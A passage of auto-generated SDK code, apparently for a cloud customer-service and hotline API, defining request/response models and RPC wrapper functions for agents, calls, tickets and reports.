model GenerateWebSocketSignRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
accountName?: string(name='AccountName'),
}
model GenerateWebSocketSignResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
data?: string(name='Data'),
code?: string(name='Code'),
success?: boolean(name='Success'),
httpStatusCode?: long(name='HttpStatusCode'),
}
model GenerateWebSocketSignResponse = {
headers: map[string]string(name='headers'),
body: GenerateWebSocketSignResponseBody(name='body'),
}
async function generateWebSocketSignWithOptions(request: GenerateWebSocketSignRequest, runtime: Util.RuntimeOptions): GenerateWebSocketSignResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('GenerateWebSocketSign', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function generateWebSocketSign(request: GenerateWebSocketSignRequest): GenerateWebSocketSignResponse {
var runtime = new Util.RuntimeOptions{};
return generateWebSocketSignWithOptions(request, runtime);
}
model UpdateRingStatusRequest {
uniqueBizId?: string(name='UniqueBizId'),
callOutStatus?: string(name='CallOutStatus'),
extra?: string(name='Extra'),
instanceId?: string(name='InstanceId'),
}
model UpdateRingStatusResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
data?: string(name='Data'),
code?: string(name='Code'),
success?: boolean(name='Success'),
httpStatusCode?: long(name='HttpStatusCode'),
}
model UpdateRingStatusResponse = {
headers: map[string]string(name='headers'),
body: UpdateRingStatusResponseBody(name='body'),
}
async function updateRingStatusWithOptions(request: UpdateRingStatusRequest, runtime: Util.RuntimeOptions): UpdateRingStatusResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('UpdateRingStatus', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function updateRingStatus(request: UpdateRingStatusRequest): UpdateRingStatusResponse {
var runtime = new Util.RuntimeOptions{};
return updateRingStatusWithOptions(request, runtime);
}
model CreateAgentRequest {
clientToken?: string(name='ClientToken', description='js sdk中自动生成的鉴权token'),
instanceId?: string(name='InstanceId'),
accountName?: string(name='AccountName'),
displayName?: string(name='DisplayName'),
skillGroupId?: [ long ](name='SkillGroupId'),
skillGroupIdList?: [ long ](name='SkillGroupIdList'),
}
model CreateAgentResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
data?: long(name='Data'),
code?: string(name='Code'),
success?: boolean(name='Success'),
httpStatusCode?: long(name='HttpStatusCode'),
}
model CreateAgentResponse = {
headers: map[string]string(name='headers'),
body: CreateAgentResponseBody(name='body'),
}
async function createAgentWithOptions(request: CreateAgentRequest, runtime: Util.RuntimeOptions): CreateAgentResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('CreateAgent', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function createAgent(request: CreateAgentRequest): CreateAgentResponse {
var runtime = new Util.RuntimeOptions{};
return createAgentWithOptions(request, runtime);
}
model DeleteEntityRouteRequest {
uniqueId?: long(name='UniqueId'),
instanceId?: string(name='InstanceId'),
}
model DeleteEntityRouteResponseBody = {
code?: string(name='Code'),
message?: string(name='Message'),
requestId?: string(name='RequestId'),
success?: boolean(name='Success'),
}
model DeleteEntityRouteResponse = {
headers: map[string]string(name='headers'),
body: DeleteEntityRouteResponseBody(name='body'),
}
async function deleteEntityRouteWithOptions(request: DeleteEntityRouteRequest, runtime: Util.RuntimeOptions): DeleteEntityRouteResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('DeleteEntityRoute', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function deleteEntityRoute(request: DeleteEntityRouteRequest): DeleteEntityRouteResponse {
var runtime = new Util.RuntimeOptions{};
return deleteEntityRouteWithOptions(request, runtime);
}
model GetHotlineGroupDetailReportRequest {
currentPage?: int32(name='CurrentPage'),
pageSize?: int32(name='PageSize'),
startDate?: long(name='StartDate'),
endDate?: long(name='EndDate'),
instanceId?: string(name='InstanceId'),
depIds?: [ long ](name='DepIds'),
groupIds?: [ long ](name='GroupIds'),
}
model GetHotlineGroupDetailReportResponseBody = {
code?: string(name='Code'),
message?: string(name='Message'),
requestId?: string(name='RequestId'),
success?: string(name='Success'),
data?: {
pageSize?: int32(name='PageSize'),
total?: int32(name='Total'),
page?: int32(name='Page'),
columns?: [
{
key?: string(name='Key'),
title?: string(name='Title'),
}
](name='Columns'),
rows?: [ map[string]any ](name='Rows'),
}(name='Data'),
}
model GetHotlineGroupDetailReportResponse = {
headers: map[string]string(name='headers'),
body: GetHotlineGroupDetailReportResponseBody(name='body'),
}
async function getHotlineGroupDetailReportWithOptions(request: GetHotlineGroupDetailReportRequest, runtime: Util.RuntimeOptions): GetHotlineGroupDetailReportResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('GetHotlineGroupDetailReport', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function getHotlineGroupDetailReport(request: GetHotlineGroupDetailReportRequest): GetHotlineGroupDetailReportResponse {
var runtime = new Util.RuntimeOptions{};
return getHotlineGroupDetailReportWithOptions(request, runtime);
}
model CreateTicketRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
templateId?: long(name='TemplateId'),
categoryId?: long(name='CategoryId'),
creatorId?: long(name='CreatorId'),
creatorType?: int32(name='CreatorType'),
creatorName?: string(name='CreatorName'),
memberId?: long(name='MemberId'),
memberName?: string(name='MemberName'),
fromInfo?: string(name='FromInfo'),
priority?: int32(name='Priority'),
carbonCopy?: string(name='CarbonCopy'),
formData?: string(name='FormData'),
}
model CreateTicketResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
data?: long(name='Data'),
code?: string(name='Code'),
success?: boolean(name='Success'),
}
model CreateTicketResponse = {
headers: map[string]string(name='headers'),
body: CreateTicketResponseBody(name='body'),
}
async function createTicketWithOptions(request: CreateTicketRequest, runtime: Util.RuntimeOptions): CreateTicketResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('CreateTicket', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function createTicket(request: CreateTicketRequest): CreateTicketResponse {
var runtime = new Util.RuntimeOptions{};
return createTicketWithOptions(request, runtime);
}
model UpdateCustomerRequest {
prodLineId?: long(name='ProdLineId'),
bizType?: string(name='BizType'),
name?: string(name='Name'),
typeCode?: string(name='TypeCode'),
phone?: string(name='Phone'),
instanceId?: string(name='InstanceId'),
managerName?: string(name='ManagerName'),
contacter?: string(name='Contacter'),
industry?: string(name='Industry'),
position?: string(name='Position'),
email?: string(name='Email'),
dingding?: string(name='Dingding'),
outerId?: string(name='OuterId'),
outerIdType?: int32(name='OuterIdType'),
customerId?: long(name='CustomerId'),
}
model UpdateCustomerResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
data?: long(name='Data'),
code?: string(name='Code'),
success?: boolean(name='Success'),
}
model UpdateCustomerResponse = {
headers: map[string]string(name='headers'),
body: UpdateCustomerResponseBody(name='body'),
}
async function updateCustomerWithOptions(request: UpdateCustomerRequest, runtime: Util.RuntimeOptions): UpdateCustomerResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('UpdateCustomer', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function updateCustomer(request: UpdateCustomerRequest): UpdateCustomerResponse {
var runtime = new Util.RuntimeOptions{};
return updateCustomerWithOptions(request, runtime);
}
model QueryRelationTicketsRequest {
instanceId?: string(name='InstanceId'),
caseId?: long(name='CaseId'),
caseType?: int32(name='CaseType'),
srType?: int32(name='SrType'),
taskStatus?: int32(name='TaskStatus'),
channelId?: string(name='ChannelId'),
channelType?: int32(name='ChannelType'),
touchId?: long(name='TouchId'),
dealId?: long(name='DealId'),
extra?: map[string]any(name='Extra'),
memberId?: long(name='MemberId'),
startCaseGmtCreate?: long(name='StartCaseGmtCreate'),
endCaseGmtCreate?: long(name='EndCaseGmtCreate'),
pageSize?: int32(name='PageSize'),
currentPage?: int32(name='CurrentPage'),
}
model QueryRelationTicketsResponseBody = {
requestId?: string(name='RequestId', description='Id of the request'),
code?: string(name='Code'),
message?: string(name='Message'),
success?: boolean(name='Success'),
currentPage?: int32(name='CurrentPage'),
cnePageSize?: int32(name='CnePageSize'),
firstResult?: int32(name='FirstResult'),
totalResults?: int32(name='TotalResults'),
totalPage?: int32(name='TotalPage'),
nextPage?: int32(name='NextPage'),
data?: [
{
gmtCreate?: long(name='GmtCreate'),
gmtModified?: long(name='GmtModified'),
caseGmtCreate?: long(name='CaseGmtCreate'),
gaseGmtModified?: long(name='GaseGmtModified'),
caseType?: int32(name='CaseType'),
srType?: long(name='SrType'),
owner?: long(name='Owner'),
caseStatus?: int32(name='CaseStatus'),
channelId?: string(name='ChannelId'),
memberId?: long(name='MemberId'),
extAttrs?: map[string]any(name='ExtAttrs'),
channelType?: int32(name='ChannelType'),
questionInfo?: string(name='QuestionInfo'),
questionId?: string(name='QuestionId'),
ownerName?: string(name='OwnerName'),
memberName?: string(name='MemberName'),
refCaseId?: long(name='RefCaseId'),
caseDepartmentId?: long(name='CaseDepartmentId'),
caseBuId?: long(name='CaseBuId'),
formId?: long(name='FormId'),
taskStatus?: int32(name='TaskStatus'),
creatorId?: long(name='CreatorId'),
dealId?: long(name='DealId'),
groupId?: long(name='GroupId'),
priority?: int32(name='Priority'),
title?: string(name='Title'),
dealTime?: long(name='DealTime'),
deadLine?: long(name='DeadLine'),
taskType?: int32(name='TaskType'),
assignTime?: long(name='AssignTime'),
userServiceId?: long(name='UserServiceId'),
groupName?: string(name='GroupName'),
buId?: long(name='BuId'),
departmentId?: long(name='DepartmentId'),
templateId?: long(name='TemplateId'),
fromInfo?: string(name='FromInfo'),
serviceType?: int32(name='ServiceType'),
parentId?: long(name='ParentId'),
caseId?: long(name='CaseId'),
taskId?: long(name='TaskId'),
relationCase?: [
{
gmtCreate?: long(name='GmtCreate'),
gmtModified?: long(name='GmtModified'),
caseGmtCreate?: long(name='CaseGmtCreate'),
caseGmtModified?: long(name='CaseGmtModified'),
caseType?: int32(name='CaseType'),
owner?: long(name='Owner'),
caseStatus?: int32(name='CaseStatus'),
channelId?: string(name='ChannelId'),
memberId?: long(name='MemberId'),
extAttrs?: map[string]any(name='ExtAttrs'),
channelType?: int32(name='ChannelType'),
questionInfoQuestionInfo?: string(name='QuestionInfoQuestionInfo'),
questionId?: string(name='QuestionId'),
ownerName?: string(name='OwnerName'),
memberName?: string(name='MemberName'),
refCaseId?: long(name='RefCaseId'),
caseDepartmentId?: long(name='CaseDepartmentId'),
caseBuId?: long(name='CaseBuId'),
formId?: long(name='FormId'),
taskStatus?: int32(name='TaskStatus'),
creatorId?: long(name='CreatorId'),
dealId?: long(name='DealId'),
groupId?: long(name='GroupId'),
priority?: int32(name='Priority'),
title?: string(name='Title'),
dealTime?: long(name='DealTime'),
deadLine?: long(name='DeadLine'),
taskType?: int32(name='TaskType'),
assignTime?: long(name='AssignTime'),
userServiceId?: long(name='UserServiceId'),
groupName?: string(name='GroupName'),
buId?: long(name='BuId'),
departmentId?: long(name='DepartmentId'),
templateId?: long(name='TemplateId'),
fromInfo?: string(name='FromInfo'),
serviceType?: int32(name='ServiceType'),
parentId?: long(name='ParentId'),
caseId?: long(name='CaseId'),
taskId?: long(name='TaskId'),
}
](name='RelationCase'),
}
](name='Data'),
}
model QueryRelationTicketsResponse = {
headers: map[string]string(name='headers'),
body: QueryRelationTicketsResponseBody(name='body'),
}
async function queryRelationTicketsWithOptions(request: QueryRelationTicketsRequest, runtime: Util.RuntimeOptions): QueryRelationTicketsResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('QueryRelationTickets', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function queryRelationTickets(request: QueryRelationTicketsRequest): QueryRelationTicketsResponse {
var runtime = new Util.RuntimeOptions{};
return queryRelationTicketsWithOptions(request, runtime);
}
model AnswerCallRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
accountName?: string(name='AccountName'),
callId?: string(name='CallId'),
jobId?: string(name='JobId'),
connectionId?: string(name='ConnectionId'),
}
model AnswerCallResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
code?: string(name='Code'),
success?: boolean(name='Success'),
}
model AnswerCallResponse = {
headers: map[string]string(name='headers'),
body: AnswerCallResponseBody(name='body'),
}
async function answerCallWithOptions(request: AnswerCallRequest, runtime: Util.RuntimeOptions): AnswerCallResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('AnswerCall', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function answerCall(request: AnswerCallRequest): AnswerCallResponse {
var runtime = new Util.RuntimeOptions{};
return answerCallWithOptions(request, runtime);
}
model DeleteAgentRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
accountName?: string(name='AccountName'),
}
model DeleteAgentResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
code?: string(name='Code'),
success?: boolean(name='Success'),
httpStatusCode?: long(name='HttpStatusCode'),
}
model DeleteAgentResponse = {
headers: map[string]string(name='headers'),
body: DeleteAgentResponseBody(name='body'),
}
async function deleteAgentWithOptions(request: DeleteAgentRequest, runtime: Util.RuntimeOptions): DeleteAgentResponse {
Util.validateModel(request);
var query = OpenApiUtil.query(Util.toMap(request));
var req = new OpenApi.OpenApiRequest{
query = query,
};
return doRPCRequest('DeleteAgent', '2020-07-02', 'HTTPS', 'DELETE', 'AK', 'json', req, runtime);
}
async function deleteAgent(request: DeleteAgentRequest): DeleteAgentResponse {
var runtime = new Util.RuntimeOptions{};
return deleteAgentWithOptions(request, runtime);
}
model GetHotlineAgentDetailRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
accountName?: string(name='AccountName'),
}
model GetHotlineAgentDetailResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
data?: {
agentStatusCode?: string(name='AgentStatusCode'),
token?: string(name='Token'),
agentId?: long(name='AgentId'),
assigned?: boolean(name='Assigned'),
restType?: int32(name='RestType'),
agentStatus?: int32(name='AgentStatus'),
tenantId?: long(name='TenantId'),
}(name='Data'),
code?: string(name='Code'),
success?: boolean(name='Success'),
httpStatusCode?: long(name='HttpStatusCode'),
}
model GetHotlineAgentDetailResponse = {
headers: map[string]string(name='headers'),
body: GetHotlineAgentDetailResponseBody(name='body'),
}
async function getHotlineAgentDetailWithOptions(request: GetHotlineAgentDetailRequest, runtime: Util.RuntimeOptions): GetHotlineAgentDetailResponse {
Util.validateModel(request);
var query = OpenApiUtil.query(Util.toMap(request));
var req = new OpenApi.OpenApiRequest{
query = query,
};
return doRPCRequest('GetHotlineAgentDetail', '2020-07-02', 'HTTPS', 'GET', 'AK', 'json', req, runtime);
}
async function getHotlineAgentDetail(request: GetHotlineAgentDetailRequest): GetHotlineAgentDetailResponse {
var runtime = new Util.RuntimeOptions{};
return getHotlineAgentDetailWithOptions(request, runtime);
}
model GetEntityTagRelationRequest {
entityId?: string(name='EntityId'),
entityType?: string(name='EntityType'),
instanceId?: string(name='InstanceId'),
}
model GetEntityTagRelationResponseBody = {
code?: string(name='Code'),
message?: string(name='Message'),
requestId?: string(name='RequestId'),
success?: boolean(name='Success'),
data?: [
{
tagName?: string(name='TagName'),
tagGroupCode?: string(name='TagGroupCode'),
entityId?: string(name='EntityId'),
tagCode?: string(name='TagCode'),
entityType?: string(name='EntityType'),
tagGroupName?: string(name='TagGroupName'),
}
](name='Data'),
}
model GetEntityTagRelationResponse = {
headers: map[string]string(name='headers'),
body: GetEntityTagRelationResponseBody(name='body'),
}
async function getEntityTagRelationWithOptions(request: GetEntityTagRelationRequest, runtime: Util.RuntimeOptions): GetEntityTagRelationResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('GetEntityTagRelation', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function getEntityTagRelation(request: GetEntityTagRelationRequest): GetEntityTagRelationResponse {
var runtime = new Util.RuntimeOptions{};
return getEntityTagRelationWithOptions(request, runtime);
}
model SuspendHotlineServiceRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
accountName?: string(name='AccountName'),
type?: int32(name='Type'),
}
model SuspendHotlineServiceResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
code?: string(name='Code'),
success?: boolean(name='Success'),
}
model SuspendHotlineServiceResponse = {
headers: map[string]string(name='headers'),
body: SuspendHotlineServiceResponseBody(name='body'),
}
async function suspendHotlineServiceWithOptions(request: SuspendHotlineServiceRequest, runtime: Util.RuntimeOptions): SuspendHotlineServiceResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('SuspendHotlineService', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function suspendHotlineService(request: SuspendHotlineServiceRequest): SuspendHotlineServiceResponse {
var runtime = new Util.RuntimeOptions{};
return suspendHotlineServiceWithOptions(request, runtime);
}
model GetCallsPerDayRequest {
instanceId?: string(name='InstanceId'),
dataIdStart?: string(name='DataIdStart'),
dataIdEnd?: string(name='DataIdEnd'),
dataId?: string(name='DataId'),
hourId?: string(name='HourId'),
minuteId?: string(name='MinuteId'),
phoneNumbers?: string(name='PhoneNumbers'),
havePhoneNumbers?: string(name='HavePhoneNumbers'),
pageNo?: long(name='PageNo'),
pageSize?: long(name='PageSize'),
}
model GetCallsPerDayResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
code?: string(name='Code'),
success?: string(name='Success'),
data?: {
totalNum?: long(name='TotalNum'),
pageSize?: long(name='PageSize'),
pageNo?: string(name='PageNo'),
callsPerdayResponseList?: [
{
dataId?: string(name='DataId'),
hourId?: string(name='HourId'),
tenantId?: string(name='TenantId'),
tenantName?: string(name='TenantName'),
phoneNum?: string(name='PhoneNum'),
callOutCnt?: string(name='CallOutCnt'),
callInCnt?: string(name='CallInCnt'),
minuteId?: string(name='MinuteId'),
}
](name='CallsPerdayResponseList'),
}(name='Data'),
}
model GetCallsPerDayResponse = {
headers: map[string]string(name='headers'),
body: GetCallsPerDayResponseBody(name='body'),
}
async function getCallsPerDayWithOptions(request: GetCallsPerDayRequest, runtime: Util.RuntimeOptions): GetCallsPerDayResponse {
Util.validateModel(request);
var query = OpenApiUtil.query(Util.toMap(request));
var req = new OpenApi.OpenApiRequest{
query = query,
};
return doRPCRequest('GetCallsPerDay', '2020-07-02', 'HTTPS', 'GET', 'AK', 'json', req, runtime);
}
async function getCallsPerDay(request: GetCallsPerDayRequest): GetCallsPerDayResponse {
var runtime = new Util.RuntimeOptions{};
return getCallsPerDayWithOptions(request, runtime);
}
model FetchCallRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
accountName?: string(name='AccountName'),
callId?: string(name='CallId'),
jobId?: string(name='JobId'),
connectionId?: string(name='ConnectionId'),
holdConnectionId?: string(name='HoldConnectionId'),
}
model FetchCallResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
code?: string(name='Code'),
success?: boolean(name='Success'),
}
model FetchCallResponse = {
headers: map[string]string(name='headers'),
body: FetchCallResponseBody(name='body'),
}
async function fetchCallWithOptions(request: FetchCallRequest, runtime: Util.RuntimeOptions): FetchCallResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('FetchCall', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function fetchCall(request: FetchCallRequest): FetchCallResponse {
var runtime = new Util.RuntimeOptions{};
return fetchCallWithOptions(request, runtime);
}
model QueryTicketCountRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
operatorId?: long(name='OperatorId'),
}
model QueryTicketCountResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
data?: string(name='Data'),
code?: string(name='Code'),
success?: boolean(name='Success'),
}
model QueryTicketCountResponse = {
headers: map[string]string(name='headers'),
body: QueryTicketCountResponseBody(name='body'),
}
async function queryTicketCountWithOptions(request: QueryTicketCountRequest, runtime: Util.RuntimeOptions): QueryTicketCountResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('QueryTicketCount', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function queryTicketCount(request: QueryTicketCountRequest): QueryTicketCountResponse {
var runtime = new Util.RuntimeOptions{};
return queryTicketCountWithOptions(request, runtime);
}
model GetHotlineAgentDetailReportRequest {
currentPage?: int32(name='CurrentPage'),
pageSize?: int32(name='PageSize'),
startDate?: long(name='StartDate'),
endDate?: long(name='EndDate'),
instanceId?: string(name='InstanceId'),
depIds?: [ long ](name='DepIds'),
groupIds?: [ long ](name='GroupIds'),
}
model GetHotlineAgentDetailReportResponseBody = {
code?: string(name='Code'),
message?: string(name='Message'),
requestId?: string(name='RequestId'),
success?: string(name='Success'),
data?: {
pageSize?: int32(name='PageSize'),
total?: int32(name='Total'),
page?: int32(name='Page'),
columns?: [
{
key?: string(name='Key'),
title?: string(name='Title'),
}
](name='Columns'),
rows?: [ map[string]any ](name='Rows'),
}(name='Data'),
}
model GetHotlineAgentDetailReportResponse = {
headers: map[string]string(name='headers'),
body: GetHotlineAgentDetailReportResponseBody(name='body'),
}
async function getHotlineAgentDetailReportWithOptions(request: GetHotlineAgentDetailReportRequest, runtime: Util.RuntimeOptions): GetHotlineAgentDetailReportResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('GetHotlineAgentDetailReport', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function getHotlineAgentDetailReport(request: GetHotlineAgentDetailReportRequest): GetHotlineAgentDetailReportResponse {
var runtime = new Util.RuntimeOptions{};
return getHotlineAgentDetailReportWithOptions(request, runtime);
}
model AppMessagePushRequest {
instanceId?: string(name='InstanceId', description='实例ID'),
userId?: string(name='UserId', description='用户编号'),
status?: int32(name='Status', description='APP状态'),
expirationTime?: long(name='ExpirationTime', description='过期时间'),
}
model AppMessagePushResponseBody = {
requestId?: string(name='RequestId', description='Id of the request'),
data?: string(name='Data', description='返回数据'),
code?: string(name='Code', description='错误码'),
message?: string(name='Message', description='错误信息'),
success?: boolean(name='Success', description='通信码'),
}
model AppMessagePushResponse = {
headers: map[string]string(name='headers'),
body: AppMessagePushResponseBody(name='body'),
}
async function appMessagePushWithOptions(request: AppMessagePushRequest, runtime: Util.RuntimeOptions): AppMessagePushResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('AppMessagePush', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function appMessagePush(request: AppMessagePushRequest): AppMessagePushResponse {
var runtime = new Util.RuntimeOptions{};
return appMessagePushWithOptions(request, runtime);
}
model GetTicketByCaseIdRequest {
instanceId?: string(name='InstanceId'),
caseId?: long(name='CaseId'),
}
model GetTicketByCaseIdResponseBody = {
requestId?: string(name='RequestId', description='Id of the request'),
code?: string(name='Code'),
message?: string(name='Message'),
success?: boolean(name='Success'),
data?: {
memberId?: long(name='MemberId'),
questionId?: string(name='QuestionId'),
questionInfo?: string(name='QuestionInfo'),
memberName?: string(name='MemberName'),
sopCateId?: long(name='SopCateId'),
caseType?: int32(name='CaseType'),
priority?: int32(name='Priority'),
extAttrs?: map[string]any(name='ExtAttrs'),
buId?: long(name='BuId'),
gmtCreate?: long(name='GmtCreate'),
gmtModified?: long(name='GmtModified'),
endTime?: long(name='EndTime'),
srType?: long(name='SrType'),
owner?: long(name='Owner'),
ownerName?: string(name='OwnerName'),
caseStatus?: int32(name='CaseStatus'),
channelId?: string(name='ChannelId'),
departmentId?: long(name='DepartmentId'),
fromInfo?: string(name='FromInfo'),
parentId?: long(name='ParentId'),
caseId?: long(name='CaseId'),
}(name='Data'),
}
model GetTicketByCaseIdResponse = {
headers: map[string]string(name='headers'),
body: GetTicketByCaseIdResponseBody(name='body'),
}
async function getTicketByCaseIdWithOptions(request: GetTicketByCaseIdRequest, runtime: Util.RuntimeOptions): GetTicketByCaseIdResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('GetTicketByCaseId', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function getTicketByCaseId(request: GetTicketByCaseIdRequest): GetTicketByCaseIdResponse {
var runtime = new Util.RuntimeOptions{};
return getTicketByCaseIdWithOptions(request, runtime);
}
model GetHotlineAgentStatusRequest {
instanceId?: string(name='InstanceId'),
accountName?: string(name='AccountName'),
}
model GetHotlineAgentStatusResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
data?: string(name='Data'),
code?: string(name='Code'),
success?: boolean(name='Success'),
httpStatusCode?: long(name='HttpStatusCode'),
}
model GetHotlineAgentStatusResponse = {
headers: map[string]string(name='headers'),
body: GetHotlineAgentStatusResponseBody(name='body'),
}
async function getHotlineAgentStatusWithOptions(request: GetHotlineAgentStatusRequest, runtime: Util.RuntimeOptions): GetHotlineAgentStatusResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('GetHotlineAgentStatus', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function getHotlineAgentStatus(request: GetHotlineAgentStatusRequest): GetHotlineAgentStatusResponse {
var runtime = new Util.RuntimeOptions{};
return getHotlineAgentStatusWithOptions(request, runtime);
}
model GetHotlineWaitingNumberRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
accountName?: string(name='AccountName'),
}
model GetHotlineWaitingNumberResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
data?: long(name='Data'),
code?: string(name='Code'),
success?: boolean(name='Success'),
httpStatusCode?: long(name='HttpStatusCode'),
}
model GetHotlineWaitingNumberResponse = {
headers: map[string]string(name='headers'),
body: GetHotlineWaitingNumberResponseBody(name='body'),
}
async function getHotlineWaitingNumberWithOptions(request: GetHotlineWaitingNumberRequest, runtime: Util.RuntimeOptions): GetHotlineWaitingNumberResponse {
Util.validateModel(request);
var query = OpenApiUtil.query(Util.toMap(request));
var req = new OpenApi.OpenApiRequest{
query = query,
};
return doRPCRequest('GetHotlineWaitingNumber', '2020-07-02', 'HTTPS', 'GET', 'AK', 'json', req, runtime);
}
async function getHotlineWaitingNumber(request: GetHotlineWaitingNumberRequest): GetHotlineWaitingNumberResponse {
var runtime = new Util.RuntimeOptions{};
return getHotlineWaitingNumberWithOptions(request, runtime);
}
model StartCallRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
accountName?: string(name='AccountName'),
caller?: string(name='Caller'),
callee?: string(name='Callee'),
}
model StartCallResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
code?: string(name='Code'),
success?: boolean(name='Success'),
}
model StartCallResponse = {
headers: map[string]string(name='headers'),
body: StartCallResponseBody(name='body'),
}
async function startCallWithOptions(request: StartCallRequest, runtime: Util.RuntimeOptions): StartCallResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('StartCall', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function startCall(request: StartCallRequest): StartCallResponse {
var runtime = new Util.RuntimeOptions{};
return startCallWithOptions(request, runtime);
}
model AssignTicketRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
ticketId?: long(name='TicketId'),
operatorId?: long(name='OperatorId'),
acceptorId?: long(name='AcceptorId'),
}
model AssignTicketResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
code?: string(name='Code'),
success?: boolean(name='Success'),
}
model AssignTicketResponse = {
headers: map[string]string(name='headers'),
body: AssignTicketResponseBody(name='body'),
}
async function assignTicketWithOptions(request: AssignTicketRequest, runtime: Util.RuntimeOptions): AssignTicketResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('AssignTicket', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function assignTicket(request: AssignTicketRequest): AssignTicketResponse {
var runtime = new Util.RuntimeOptions{};
return assignTicketWithOptions(request, runtime);
}
model HangupCallRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
accountName?: string(name='AccountName'),
callId?: string(name='CallId'),
jobId?: string(name='JobId'),
connectionId?: string(name='ConnectionId'),
}
model HangupCallResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
code?: string(name='Code'),
success?: boolean(name='Success'),
}
model HangupCallResponse = {
headers: map[string]string(name='headers'),
body: HangupCallResponseBody(name='body'),
}
async function hangupCallWithOptions(request: HangupCallRequest, runtime: Util.RuntimeOptions): HangupCallResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
